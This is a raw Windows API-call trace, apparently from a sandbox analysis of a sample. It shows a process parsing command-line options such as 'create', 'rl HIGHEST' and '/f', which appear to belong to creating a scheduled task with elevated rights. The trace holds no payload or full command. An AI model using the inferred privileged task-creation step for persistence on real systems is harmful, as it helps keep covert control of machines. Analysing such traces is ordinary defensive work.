[0075.551] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.551] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.551] lstrlenW (lpString="|sc|") returned 4 [0075.551] lstrlenW (lpString="|rl|") returned 4 [0075.551] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0075.551] SetLastError (dwErrCode=0x490) [0075.551] lstrlenW (lpString="mo") returned 2 [0075.551] lstrlenW (lpString="mo") returned 2 [0075.551] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.551] lstrlenW (lpString="rl") returned 2 [0075.551] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.551] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.551] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.551] lstrlenW (lpString="|mo|") returned 4 [0075.551] lstrlenW (lpString="|rl|") returned 4 [0075.551] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0075.551] SetLastError (dwErrCode=0x490) [0075.551] lstrlenW (lpString="d") returned 1 [0075.551] lstrlenW (lpString="d") returned 1 [0075.551] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.551] lstrlenW (lpString="rl") returned 2 [0075.551] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.552] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|d|") returned 3 [0075.552] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.552] lstrlenW (lpString="|d|") returned 3 [0075.552] lstrlenW (lpString="|rl|") returned 4 [0075.552] SetLastError (dwErrCode=0x490) [0075.552] lstrlenW (lpString="m") returned 1 [0075.552] lstrlenW (lpString="m") returned 1 [0075.552] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.552] lstrlenW (lpString="rl") returned 2 [0075.552] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.552] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|m|") returned 3 [0075.552] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.552] lstrlenW (lpString="|m|") returned 3 [0075.552] lstrlenW (lpString="|rl|") returned 4 [0075.552] SetLastError (dwErrCode=0x490) [0075.552] lstrlenW (lpString="i") returned 1 [0075.552] lstrlenW (lpString="i") returned 1 [0075.552] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.552] lstrlenW (lpString="rl") returned 2 [0075.552] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.552] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|i|") returned 3 [0075.552] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.552] lstrlenW (lpString="|i|") returned 3 [0075.552] lstrlenW (lpString="|rl|") returned 4 [0075.552] SetLastError (dwErrCode=0x490) [0075.553] lstrlenW (lpString="tn") returned 2 [0075.553] lstrlenW (lpString="tn") returned 2 [0075.553] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.553] lstrlenW (lpString="rl") returned 2 [0075.553] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.553] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.553] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.553] lstrlenW (lpString="|tn|") returned 4 [0075.553] lstrlenW (lpString="|rl|") returned 4 [0075.553] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0075.553] SetLastError (dwErrCode=0x490) [0075.553] lstrlenW (lpString="tr") returned 2 [0075.553] lstrlenW (lpString="tr") returned 2 [0075.553] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.553] lstrlenW (lpString="rl") returned 2 [0075.553] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.553] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tr|") returned 4 [0075.553] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.553] lstrlenW (lpString="|tr|") returned 4 [0075.553] lstrlenW (lpString="|rl|") returned 4 [0075.553] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0075.553] SetLastError (dwErrCode=0x490) [0075.553] lstrlenW (lpString="st") returned 2 [0075.553] lstrlenW (lpString="st") returned 2 [0075.553] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.554] lstrlenW (lpString="rl") returned 2 [0075.554] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.554] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|st|") returned 4 [0075.554] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.554] lstrlenW (lpString="|st|") returned 4 [0075.554] lstrlenW (lpString="|rl|") returned 4 [0075.554] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0075.554] SetLastError (dwErrCode=0x490) [0075.554] lstrlenW (lpString="sd") returned 2 [0075.554] lstrlenW (lpString="sd") returned 2 [0075.554] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.554] lstrlenW (lpString="rl") returned 2 [0075.554] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.554] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sd|") returned 4 [0075.554] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.554] lstrlenW (lpString="|sd|") returned 4 [0075.554] lstrlenW (lpString="|rl|") returned 4 [0075.554] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0075.554] SetLastError (dwErrCode=0x490) [0075.554] lstrlenW (lpString="ed") returned 2 [0075.554] lstrlenW (lpString="ed") returned 2 [0075.554] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.554] lstrlenW (lpString="rl") returned 2 [0075.554] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.554] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ed|") returned 4 [0075.555] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.555] lstrlenW (lpString="|ed|") returned 4 [0075.555] lstrlenW (lpString="|rl|") returned 4 [0075.555] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0075.555] SetLastError (dwErrCode=0x490) [0075.555] lstrlenW (lpString="it") returned 2 [0075.555] lstrlenW (lpString="it") returned 2 [0075.555] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.555] lstrlenW (lpString="rl") returned 2 [0075.555] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.555] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|it|") returned 4 [0075.555] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.555] lstrlenW (lpString="|it|") returned 4 [0075.555] lstrlenW (lpString="|rl|") returned 4 [0075.555] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0075.555] SetLastError (dwErrCode=0x490) [0075.555] lstrlenW (lpString="et") returned 2 [0075.555] lstrlenW (lpString="et") returned 2 [0075.555] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.555] lstrlenW (lpString="rl") returned 2 [0075.555] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.555] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|et|") returned 4 [0075.555] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.555] lstrlenW (lpString="|et|") returned 4 [0075.556] lstrlenW (lpString="|rl|") returned 4 [0075.556] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0075.556] SetLastError (dwErrCode=0x490) [0075.556] lstrlenW (lpString="k") returned 1 [0075.556] lstrlenW (lpString="k") returned 1 [0075.556] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.556] lstrlenW (lpString="rl") returned 2 [0075.556] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.556] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|k|") returned 3 [0075.556] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.556] lstrlenW (lpString="|k|") returned 3 [0075.556] lstrlenW (lpString="|rl|") returned 4 [0075.556] SetLastError (dwErrCode=0x490) [0075.556] lstrlenW (lpString="du") returned 2 [0075.556] lstrlenW (lpString="du") returned 2 [0075.556] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.556] lstrlenW (lpString="rl") returned 2 [0075.556] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.556] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|du|") returned 4 [0075.556] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.556] lstrlenW (lpString="|du|") returned 4 [0075.556] lstrlenW (lpString="|rl|") returned 4 [0075.556] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0075.556] SetLastError (dwErrCode=0x490) [0075.556] lstrlenW (lpString="ri") returned 2 [0075.557] lstrlenW (lpString="ri") returned 2 [0075.557] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.557] lstrlenW (lpString="rl") returned 2 [0075.557] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.557] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ri|") returned 4 [0075.557] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.557] lstrlenW (lpString="|ri|") returned 4 [0075.557] lstrlenW (lpString="|rl|") returned 4 [0075.557] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0075.557] SetLastError (dwErrCode=0x490) [0075.557] lstrlenW (lpString="z") returned 1 [0075.557] lstrlenW (lpString="z") returned 1 [0075.557] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.557] lstrlenW (lpString="rl") returned 2 [0075.557] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.557] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|z|") returned 3 [0075.557] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.557] lstrlenW (lpString="|z|") returned 3 [0075.557] lstrlenW (lpString="|rl|") returned 4 [0075.557] SetLastError (dwErrCode=0x490) [0075.557] lstrlenW (lpString="f") returned 1 [0075.557] lstrlenW (lpString="f") returned 1 [0075.557] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.557] lstrlenW (lpString="rl") returned 2 [0075.557] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.558] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.558] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.558] lstrlenW (lpString="|f|") returned 3 [0075.558] lstrlenW (lpString="|rl|") returned 4 [0075.558] SetLastError (dwErrCode=0x490) [0075.558] lstrlenW (lpString="v1") returned 2 [0075.558] lstrlenW (lpString="v1") returned 2 [0075.558] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.558] lstrlenW (lpString="rl") returned 2 [0075.558] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.558] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|v1|") returned 4 [0075.558] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.558] lstrlenW (lpString="|v1|") returned 4 [0075.558] lstrlenW (lpString="|rl|") returned 4 [0075.558] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0075.558] SetLastError (dwErrCode=0x490) [0075.558] lstrlenW (lpString="xml") returned 3 [0075.558] lstrlenW (lpString="xml") returned 3 [0075.558] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.558] lstrlenW (lpString="rl") returned 2 [0075.558] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.558] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|xml|") returned 5 [0075.558] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.559] lstrlenW (lpString="|xml|") returned 5 [0075.559] lstrlenW (lpString="|rl|") returned 4 [0075.559] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0075.559] SetLastError (dwErrCode=0x490) [0075.559] lstrlenW (lpString="ec") returned 2 [0075.559] lstrlenW (lpString="ec") returned 2 [0075.559] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.559] lstrlenW (lpString="rl") returned 2 [0075.559] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.559] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ec|") returned 4 [0075.559] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.559] lstrlenW (lpString="|ec|") returned 4 [0075.559] lstrlenW (lpString="|rl|") returned 4 [0075.559] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0075.559] SetLastError (dwErrCode=0x490) [0075.559] lstrlenW (lpString="rl") returned 2 [0075.559] lstrlenW (lpString="rl") returned 2 [0075.559] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.559] lstrlenW (lpString="rl") returned 2 [0075.559] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.559] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.559] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rl|") returned 4 [0075.559] lstrlenW (lpString="|rl|") returned 4 [0075.559] lstrlenW (lpString="|rl|") returned 4 [0075.560] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0075.560] SetLastError (dwErrCode=0x0) [0075.560] SetLastError (dwErrCode=0x0) [0075.560] lstrlenW (lpString="HIGHEST") returned 7 [0075.560] lstrlenW (lpString="-/") returned 2 [0075.560] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0075.560] SetLastError (dwErrCode=0x490) [0075.560] SetLastError (dwErrCode=0x490) [0075.560] SetLastError (dwErrCode=0x0) [0075.560] lstrlenW (lpString="HIGHEST") returned 7 [0075.560] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0075.560] SetLastError (dwErrCode=0x490) [0075.560] SetLastError (dwErrCode=0x0) [0075.560] _memicmp (_Buf1=0x39d660, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.560] lstrlenW (lpString="HIGHEST") returned 7 [0075.560] lstrlenW (lpString="HIGHEST") returned 7 [0075.560] lstrlenW (lpString=" \x09") returned 2 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0075.560] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0075.560] GetLastError () returned 0x0 [0075.560] lstrlenW (lpString="HIGHEST") returned 7 [0075.561] lstrlenW (lpString="HIGHEST") returned 7 [0075.561] SetLastError (dwErrCode=0x0) [0075.561] SetLastError (dwErrCode=0x0) [0075.561] lstrlenW (lpString="/f") returned 2 [0075.561] lstrlenW (lpString="-/") returned 2 [0075.561] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.561] lstrlenW (lpString="create") returned 6 [0075.561] lstrlenW (lpString="create") returned 6 [0075.561] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.561] lstrlenW (lpString="f") returned 1 [0075.561] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.561] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.561] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.561] lstrlenW (lpString="|create|") returned 8 [0075.561] lstrlenW (lpString="|f|") returned 3 [0075.561] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0075.561] SetLastError (dwErrCode=0x490) [0075.561] lstrlenW (lpString="?") returned 1 [0075.561] lstrlenW (lpString="?") returned 1 [0075.561] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.561] lstrlenW (lpString="f") returned 1 [0075.561] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.561] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|?|") returned 3 [0075.561] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.562] lstrlenW (lpString="|?|") returned 3 [0075.562] lstrlenW (lpString="|f|") returned 3 [0075.562] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0075.562] SetLastError (dwErrCode=0x490) [0075.562] lstrlenW (lpString="s") returned 1 [0075.562] lstrlenW (lpString="s") returned 1 [0075.562] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.562] lstrlenW (lpString="f") returned 1 [0075.562] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.562] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|s|") returned 3 [0075.562] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.562] lstrlenW (lpString="|s|") returned 3 [0075.562] lstrlenW (lpString="|f|") returned 3 [0075.562] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0075.562] SetLastError (dwErrCode=0x490) [0075.562] lstrlenW (lpString="u") returned 1 [0075.562] lstrlenW (lpString="u") returned 1 [0075.562] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.562] lstrlenW (lpString="f") returned 1 [0075.562] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.562] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|u|") returned 3 [0075.562] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.562] lstrlenW (lpString="|u|") returned 3 [0075.562] lstrlenW (lpString="|f|") returned 3 [0075.563] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0075.563] SetLastError (dwErrCode=0x490) [0075.563] lstrlenW (lpString="p") returned 1 [0075.563] lstrlenW (lpString="p") returned 1 [0075.563] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.563] lstrlenW (lpString="f") returned 1 [0075.563] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.563] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|p|") returned 3 [0075.563] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.563] lstrlenW (lpString="|p|") returned 3 [0075.563] lstrlenW (lpString="|f|") returned 3 [0075.563] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0075.563] SetLastError (dwErrCode=0x490) [0075.563] lstrlenW (lpString="ru") returned 2 [0075.563] lstrlenW (lpString="ru") returned 2 [0075.563] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.563] lstrlenW (lpString="f") returned 1 [0075.563] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.563] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ru|") returned 4 [0075.563] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.563] lstrlenW (lpString="|ru|") returned 4 [0075.563] lstrlenW (lpString="|f|") returned 3 [0075.563] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0075.563] SetLastError (dwErrCode=0x490) [0075.563] lstrlenW (lpString="rp") returned 2 [0075.564] lstrlenW (lpString="rp") returned 2 [0075.564] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.564] lstrlenW (lpString="f") returned 1 [0075.564] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.564] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rp|") returned 4 [0075.564] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.564] lstrlenW (lpString="|rp|") returned 4 [0075.564] lstrlenW (lpString="|f|") returned 3 [0075.564] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0075.564] SetLastError (dwErrCode=0x490) [0075.564] lstrlenW (lpString="sc") returned 2 [0075.564] lstrlenW (lpString="sc") returned 2 [0075.564] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.564] lstrlenW (lpString="f") returned 1 [0075.564] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.564] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.564] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.564] lstrlenW (lpString="|sc|") returned 4 [0075.564] lstrlenW (lpString="|f|") returned 3 [0075.564] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0075.564] SetLastError (dwErrCode=0x490) [0075.564] lstrlenW (lpString="mo") returned 2 [0075.564] lstrlenW (lpString="mo") returned 2 [0075.564] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.564] lstrlenW (lpString="f") returned 1 [0075.565] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.565] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.565] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.565] lstrlenW (lpString="|mo|") returned 4 [0075.565] lstrlenW (lpString="|f|") returned 3 [0075.565] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0075.565] SetLastError (dwErrCode=0x490) [0075.565] lstrlenW (lpString="d") returned 1 [0075.565] lstrlenW (lpString="d") returned 1 [0075.565] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.565] lstrlenW (lpString="f") returned 1 [0075.565] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.565] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|d|") returned 3 [0075.565] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 [0075.565] lstrlenW (lpString="|d|") returned 3 [0075.565] lstrlenW (lpString="|f|") returned 3 [0075.565] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0075.565] SetLastError (dwErrCode=0x490) [0075.565] lstrlenW (lpString="m") returned 1 [0075.565] lstrlenW (lpString="m") returned 1 [0075.565] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.565] lstrlenW (lpString="f") returned 1 [0075.565] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.565] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|m|") returned 3 [0075.566] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|f|") returned 3 